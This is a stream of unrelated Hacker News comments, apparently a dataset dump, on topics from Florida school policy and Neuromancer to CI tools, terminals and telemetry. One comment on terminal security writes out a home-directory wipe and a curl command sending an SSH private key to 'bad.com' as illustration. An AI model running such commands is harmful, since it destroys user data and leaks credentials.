skysight-inc/HackerNews huggingface dataset:
>at least middle school

This is far too late in my experience. If you wait this long the trans and gay kids are already being picked on and everyone else has learned how sex works from internet porn.

> I've seen conflicting numbers on the age of puberty. I think the youngest is 8 for girls and 9 for boys. If that is the case that would be 3rd grade. Would you be OK with a ban on K-2 on this then?

I think this is an interesting point, and I'd agree that if the problem was just puberty then moving things back a year would solve the issue.

However...

>Also, there have been some hypotheses regarding the declining age for puberty

Obviously real data would be needed for this beyond just a hypothesis, but even if we accept this, there's another facet to this problem. Gender identity isn't a sexual issue at this age (obviously it's inherently sexual but not in the way this point is addressing it). There seems to be some consensus that gender dysphoria is first experienced at age 3 to 7 and personally I witnessed kids I went to school with displaying signs of this prior to 3rd grade. There isn't any harm in explaining to children that gender dysphoria exists and that while some of them may question their gender, it doesn't mean there's anything wrong with them and that they shouldn't pick on people who don't fit cleanly into gender categories.

A lot of the lefts outrage over this bill is based on the premise that there wasn't harm happening as a result of education before this was proposed, but now there definitely will be, as a result of a lack thereof.
Check out the book feeling great by David Burns, known for popularizing CBT.

It's an updated handbook of some of the most recent techniques for managing the way you feel. It also has some good tips on how to find a therapist to work with if the book isn't enough.

The book leans towards avoiding antidepressants but stresses that in some extreme cases they might be best.

Sorry you've been feeling that way. Good luck!
> I've been using warp in beta for a while now.

How long is awhile?

> Once you start using it, you won't want to get back to anything else.

Heard this line before, and without providing anything specific of substance, your comment comes off like a bot shill.

Why wouldn't I want to go back to the tools that have been working fine since 25+ years?

TBH, based on this HN discussion, WarpTerm reminds me of Bonzai Buddy more than any other terminal or command-line tool I've ever used.
We use GitLab CI for internal code and GitHub Actions for public code, and are generally happy with both.

GitHub Actions emphasizes reusability and composability around “actions” as installable packages suitable for a “marketplace” model. This works well, but once you deviate from a standard action, changing its behavior requires learning (or re-learning every six months) the GitHub Actions DSL to make it do what you want. This can be frustrating when it feels like you need to model your task to fit within an abstraction that didn’t help you in the first place.

GitLab CI feels much more “raw” and closer to the metal – there is less emphasis on packaging code into reusable workflows, and more emphasis on the practicalities of operating robust CI pipelines. Yes, you could have a different runner for every task, and “package” CI code into Docker images similarly to how GitHub Actions packages it into workflows. But the service isn’t designed around that idea. And for internal pipelines, that feels like a needless abstraction. It’s nice to keep pipelines simple and robust.

Put another way: there is much less “magic” in GitLab CI than in GitHub Actions. In many ways GitHub Actions feels more like a toy than a tool. This is generally a good thing, IMO, and overall I’d say the tradeoffs are worth it for both services, especially given the different contexts (internal vs. public code) in which we use them.
Same, nix seems like such a perfect solution- but it's prohibitively hard. Sure, I could use it and sink 12 hours into reading the documentation, or I could just install pyenv/nvm/etc and be done in 1 minute.

Look at Python with Nix: https://nixos.wiki/wiki/Python
And then consider the simplicity of `pyenv install x.x.x` and a requirements.txt.
Is this article the first step in a funnel to sell more ultrasonic humidifiers?
The US Government has just 1% of the EV chargers it needs
I'm quite a bit younger than you, and not entirely clued up on cyberpunk and related genres, but I'd think "Blade Runner" (1982) and its source novel "Do Androids Dream of Electric Sheep?" (1968) brought many of the same/similar ideas to the fore a while earlier.

Neuromancer still sounds ground-breaking and I hope to read it one day.

As an aside - something interesting I just found was Gibson's thoughts on Blade Runner. He had seen the first 20 minutes of it and thought his book would be seen as a copy of the film. [1]

Edit: I uh finally read the article after spending ages in the comments and see that they mention this exact incident in there. Whoops.

[1] https://web.archive.org/web/20070926221513/http://www.willia...
That's interesting. I didn't look into the API in detail. I took one edit request and did "copy as curl" and played with that a bit (it's just GraphQL, and I enjoyed how some fields are "snake_case" and others are "CamelCase"). I was kind of surprised that I could reuse the various authorization headers between requests, I assumed they would really want to validate that you were actually using a browser and not replaying requests with curl, but it didn't seem to cause any problems.

I guess my underlying assumption that was completely wrong was that they wanted to avoid bots this time around. It doesn't seem like they did, and I don't understand why. On one side of the spectrum if you add some defenses then the people that break them are good people to offer a job to. On the other side of the spectrum, it's a lot more fun for humans when they aren't competing with machines. Having no bot mitigation just means the computer savvy users get to stomp on the actually creative communities. It makes me a little sad.
Ask HN: Why is raising money from VCs worn as a badge of honour?
It's like a loan because the founders don't have the money or the revenue to afford what they are trying to do. Eventually it has to be paid.

Somehow when folks take a large loan and buy a house which they can't really afford, usually they don't shout about it on social media forums.

But somehow when it comes to start-ups it's almost worn as a badge of merit?

Why is that the case and why don't more companies try to raise money later in the cycle and try and make do with their product revenue?
Yeah that one is surprisingly good, even if the eyes move in a way that feels like the character can't see. I'm not sure why I feel that way, but something seems empty.
He lost in court, multiple times. And he'll probably continue to lose.

It's not that people in the government have a vendetta against him. He's just petulant and thinks himself above the law. So, while I'm sure it's enjoyable to to knock him down a peg, he's doing it to himself allowing blatantly illegal shit to happen in his companies.
That's unexpected. Did you happen to have the item in your cart already?
I think this is a really good observation, and "bonded over" is a good term. At the extremes, people will even recommend the thing and disparage other options when they haven't tried either one themselves. They're just trying to be part of the group.

Edit: A couple more real examples off the top of my head:

- In some circles, everyone recommends getting a Shure SM7B + a Cloudlifter for recording voice. It's not a terrible option but not really better than many other mics (many of which are higher gain, removing the need for the separate preamp), and even if selecting an SM7B, depending on your audio interface you may not need the Cloudlifter. It's just a preamp, not magic.

- On Reddit's /r/NewZealand, everyone loves Whittaker's chocolate and hates Cadbury. Whittaker's is locally owned and honestly is better than Cadbury, but from reading the discourse you'd think Cadbury was completely disgusting. Any sort of moderate opinion (e.g. liking both) is not allowed.
Not limited to Romania. Librarians are also pretty fabulous for local information and free.
VLC is a pretty viable alternative, and it has client apps for pretty much every platform. There could be some basic features added to make it a bit more usable (text search/filtering), but for basic use cases it works pretty good for me
If that's really true, I'm even more privileged than I realize. I'm rarely miserable. I thought that was pretty normal.
Neuromancer isn't really my kind of scifi but Gibson's descriptions are so good and poetic I get the urge to re-read select chapters at least a few times every year.
> The biggest let down was the unrealistic behavior and motivation of people. It felt very much like an adventure game where everything revolves around the main character.

I feel it's like this for two reasons:

1) Gibson himself says that he hasn't been a very good writer making Neuromancer, and that this is one of his weaker works,

2) but then again, we see the world from the POV of the protagonist and his brain filter. Case is not a very complicated man and this is how he sees the world. He chooses to focus on these things, and he treats people around him like NPCs. (Giving a convincing perspective of a character is what good writers do, so I think Gibson wasn't a shitty writer after all.)
TOSLINK is just an optical connector system, it's not a system for encoding. Just like "RCA" is a type of connector, and you can run whatever signal you want.

Optical audio in consumer equipment is very limited. It seems like it should be high-bandwidth because it's optical, but it falls short. For consumer audio equipment, ordinary RCA cables and TOSLINK optical cables do the same job, and the optical cables don't have better bandwidth or let you do longer cable runs.

You get two channels of PCM audio, or more channels of lossy audio. If you're running stereo or 2.1, I think it makes sense to configure your Roku to send a stereo S/PDIF signal over TOSLINK.
No, it's just a flaw in people using QR codes poorly. Too many people assume the best out of other people which is nice and all in lalaland kind of way, but in the real world, people actively look to get one over on people. QR codes are just way too susceptible to being interfered with by anyone with just enough knowledge and inclination to do so.

If the app payment system is the way to go (why not? not expensive onsite equipment), then it needs to be something other than a QR code that is easy to manipulate.
It is campy and frequently cheesy, and I think probably influenced somewhat by anime which was in the 80s and early 90s both very different from what it is now, and still in the US a very niche sort of taste in that you had to be somewhat "plugged in" even to have heard about it - it wouldn't hit more widely until the mid- to late-90s Web boom made awareness and access much more broadly available.

That's part of the fun in my view, but it's equally fair just not to like it - de gustibus etc. Or maybe it's just a timing thing; I first read it when I was young and it was new, and maybe that has as much to do as anything with why I liked it so well and still regard it fondly.
I don't think so, no. The call to abandon ideology is to recognize that narratives can contain truths in a limited form, but it is an error but to treat them as more than they are. I don't see that as an ideology, but as a simple fact about narratives and ideologies themselves. They are, by design, simplifications of reality, or very narrow windows into reality.
> First let us pause to consider our terms: Was Schlissel’s narc a “snitch” or a “whistle-blower”? Whistle-blowers are generally attempting to topple or thwart the powerful, and Schlissel was certainly powerful. But the reported offense was, in the words of a lawyer I spoke with, “a nothingburger.” Let us provisionally define snitching as turning someone in anonymously, for either minor or nonexistent offenses, or pretextually. Also: using institutional mechanisms to kneecap rivals, harass enemies, settle scores and grudges, or advantage oneself. Not to mention squealing on someone for social-media posts and joining online mobs to protest exercises of academic and intellectual freedom.

For those who bravely make it to the 3rd paragraph.
I had a bunch of similar interactions like these were I grew up and about 6 with different missionaries across Latin America. Starting out with innocent seeming conversations slowly going towards selling their value prop. For me the most repugnant in most of these interactions was, how intentionally they were fishing for very personal things that I'm worried, sad or insecure about just so that they can then present their magical solution for it.
Crypto and Digital Currencies – Nine Research Priorities
The fact is it's verifiably used as a propaganda tool increases the chance it's used for other "special" needs too.
Well, can you help us identify these situations by sharing some of your notes?
> I reread Neuromancer recently and it was surreal reading all the refs in it to The Matrix. literally

Given how time goes, I'd say it was the other way around with the references.
If you did not take meds, do it asap. I regret not taking them sooner enough.
The Apple TV+ app gives me a dashboard with Netflix, HBO, etc. material at the top of the screen - even before their exclusive content. I just wish Apple supported all streaming services with this.
You're right but how the hell is this patentable!? The patent system is patently nonsense if "make there be as few clicks as possible" is worthy of a couple of decades of protection. Probably more context in the patent doc which I'm not going to read because any energy expended on the whole stupid system (other than ranting) is wasted.
Perhaps some of the old SF crazy culture will manage seep back in? One can dream... I really liked SF when it was a bedroom community of silicon valley. The dotcom explosion and especially the last decade squeezed the life out of the city.
> I expect my terminal to be a much more secure environment than my web browser.

Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

JS on your browser can do none of those.

Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.
> If it's profitable, it doesn't need more growth.

Stakeholders will think otherwise.

> An edit button by the way would RUIN it because people who have gone viral with a bad take would simply edit it away.

Just add a change history like (I think) FB has. No big deal.
I think its really really hard to make money producing online content. A lot of these companies start strong and have good intentions, but financially its not sustainable and they go into more click-bait and poorly written articles.

I haven't visited that site in a long time. Looking at the home page there isn't anything I would want.

Even arstechnica has gone downhill a bit.

Hacker news is a pretty good tech site but you know that.
phoronix is decent for linux stuff. https://www.phoronix.com/scan.php?page=home
> A week later, they suggested we go to lunch again. Again, I was tempted to cut off contact, but I asked some friends and again they all said I was insane and imagining things. Determined to prove that I was capable of normal human interaction, I carried on.

Your friends may mean well, but they may also be a bit dumb. You really don't have to interact with people that you don't want to if it's entirely voluntary to begin with, especially if things feel "off".

It's easy to claim so in a hypothetical, but I still like to believe that had you asked me, I would have said something like "if it feels so off, don't do it".

This is different from being anxious over, say, ordering a pizza over the phone (that I've seen in a few friends), where I would recommend pushing over your anxiety, because that is almost certainly guaranteed to be a short, professional, and, most importantly, absolutely un-intimate conversation.

> Determined to prove that I was capable of normal human interaction

Yeah, this isn't.
If you are the President of a university (or a company) that has an explicit official policy prohibiting romantic relationships between superiors and subordinates, and you have a semi-secret romantic relationship with a subordinate that many people know about, then someone in the know who is upset with one of your management decisions retaliates by telling the truth to HR, then I have zero sympathy for you. Are they a 'snitch'? Sure. But you chose to flagrantly violate the rules, thinking that you were special.
It does come off weird if you inquire as to people's blood type and opinion of accidental cremation straight out before you invite them over for a party... but it's best to be open and honest about these things. After all, otherwise they wouldn't know to bring a sacrifice.
This is probably not accurate.

https://www.insidehook.com/article/history/errol-musk-elon-f...

Looks like his fathers background is actually hard to pin down. A biographer of Musk believes his father made most of his wealth from his engineering business.

> Elon was born on June 28, 1971, to Errol and his wife Maye Musk when they were both in their 20s. This is important because the parents divorced in 1979, nine years after getting married, and it wasn’t until the mid-1980s that the emerald mine in question came into the picture.

> The family owned one of the biggest houses in Pretoria thanks to the success of Errol’s engineering business,” a business that included “large projects such as office buildings, retail complexes, residential subdivisions, and an air force base.” Elon even admitted his father is “brilliant at engineering” despite being an overall “terrible human being.”
Yeah there is a clear difference. I never said there was not.

Strawman.

I have a very high iq; in a past life I designed power switching machines and high performance boards for Nortel. Also that’s an appeal to higher authority.

Also these companies are pretty data driven through automation; big banks are run from 2GB excel sheets. It’s just people doing math and the ones doing best also happen to have political tradition on their side.

Musk is still just one man.
What Is a Domain? (2021)
The bill [0] does not define it, instead it leaves it up to the Florida Department of Education to come up with a framework of what is and is not appropriate for 5-8 year olds consistent with the bill by a certain deadline.

The change here is that the bill is enforcing that some kind of framework is followed in public schools when it comes to teaching 5 to 8 year olds about sexual orientation and gender identities. What the Florida Department of Education comes up with here remains to be seen, but the vagueness of the bill actually seems reasonable here as the appropriateness of such topics likely varies depending on the age of the child.

The meat of the bill is reenforcing parental rights in public schools, such as being able to access their child's mental health records, to be notified of any medical procedures with the option to opt out, access to their child's curriculum, etc.

[0]: https://www.flsenate.gov/Session/Bill/2022/1557/BillText/Fil...
> key attestation (where you verify that the key was generated on a legitimate TPM)

This is the same problem, just one level further down. The scheme depends on hardware acting against the desires of its owner—whether we're talking about the entire system or just the TPM portion. The privacy concerns are real but not the full extent of the problem.
Not really, I like Chrome.
Ok fair, I also didn't know there were other types of chocolate when I was little :)
On Linux there is OpenSnitch. A bit rough around the edges, but does what it needs to do well.
This is what stunned me. Apparently a bunch of SV rich people have so much cash to light on fire that they are funding stuff like this.

Jeez, I have a crap-ton of half baked ideas and a bridge that I would love to sell.
It doesn't.

https://news.ycombinator.com/item?id=30664769

https://news.ycombinator.com/item?id=30763209

https://news.ycombinator.com/item?id=30763216

Look at the author.
I don't need a Bounded Context (2016)
I appreciate the balanced, reasonable discussion.

I agree both that telemetry is useful and that there's not necessarily a place for it in the tool I use to manage my workstation and hundreds of servers. Perhaps I'd opt in to a middle ground, that is collect telemetry locally into a support file I can review, evaluate, and potentially redact before submission.
Thank you for this as I'm ready to try something new. Used MythTV, then tvheadend, and now plex for LiveTV/DVR. I absolutely loathe Plex, nothing but problems with transcoding. I shouldn't need to have a transcoding server in 2022 with hardware accelerated devices.

Kodi + TVHeadend had me 90% of the way there, but a handful of persistent bugs around PVR destroyed it for the family.
I get what you're saying from a moral point of view, but we live in the real world.

In the real world, Twitter is a public company. It has existed for a long time and has barely every made a penny. It fails in comparison to other high growth networks (Facebook, Tiktok, Youtube).

And it's not an armchair comment. Twitter's own PMs have openly admitted to some of its flaws, it's failure to appeal to the masses. They're self-aware about their own incompetence.
I suspect a TLA did this to me during a background investigation. A woman (as far as I knew) divulged she was Iranian and solicited my opinion.
This product gives me the same sketchy vibes as Mighty[1]. There's absolutely no way I'm going to give up one of my most sacred tools to a funded company whose going to expose my every click.

[1] mightyapp.com
Is multiline editing popular/useful? Thus far, the only occasions I've seen it shown is when someone is demonstrating it.
That simple script is still someone's bad day
"After 30 minutes or so, I realized I was never getting back to work so I made an excuse to leave." That's an extraordinary amount of time to put up with being interrupted.
RISC-V has many nice properties but it didn't exist 25 years ago so what does it have to do with why those companies and their objectively inferior CPUs disappeared?
>>Twitter is the only social network I use where I get an unfiltered balance of ideas

If you think you are getting 'unfiltered balance' from twitter, then you don't know twitter very well.
This isn't super surprising. For all the Erlang I've used, I always had access to the source, so it'd be simple enough to modify the source (either directly, or through a code transformation), to get access to the nice function I want... it's kind of neat that you can decompile the beam files (at least if debug_info is present) and recompile with different options; and of course, being able to hot load (almost) everything is neat too.
I'd like my search engine to be not too intelligent. Sometimes, humans suppose to know what they are meaning.

So

- optional verbatim and prioritized terms (like Google once did it)

- optional logical operators (and, or)

- a separate input box for context (either, specific terms like "product", "shopping", "legal", or some assorted terms to indicate a field of meaning and/or associated concepts, time span, etc)

It's the latter, where the search engine may shine and users may evoke its sophisticated intelligence, but, please, don't reinterpret the principal search terms to concepts that maybe just related. I do understand that this may not be for everyone, nor may it be the sole interface, but there should be a niche for this.

Example, wanting to find something about the early press coverage of System/360:

- Search term: (IBM || "big blue") && System/360

- Context: news 1965,1966 computer
It depends how you define multiline but check out: https://github.com/jart/bestline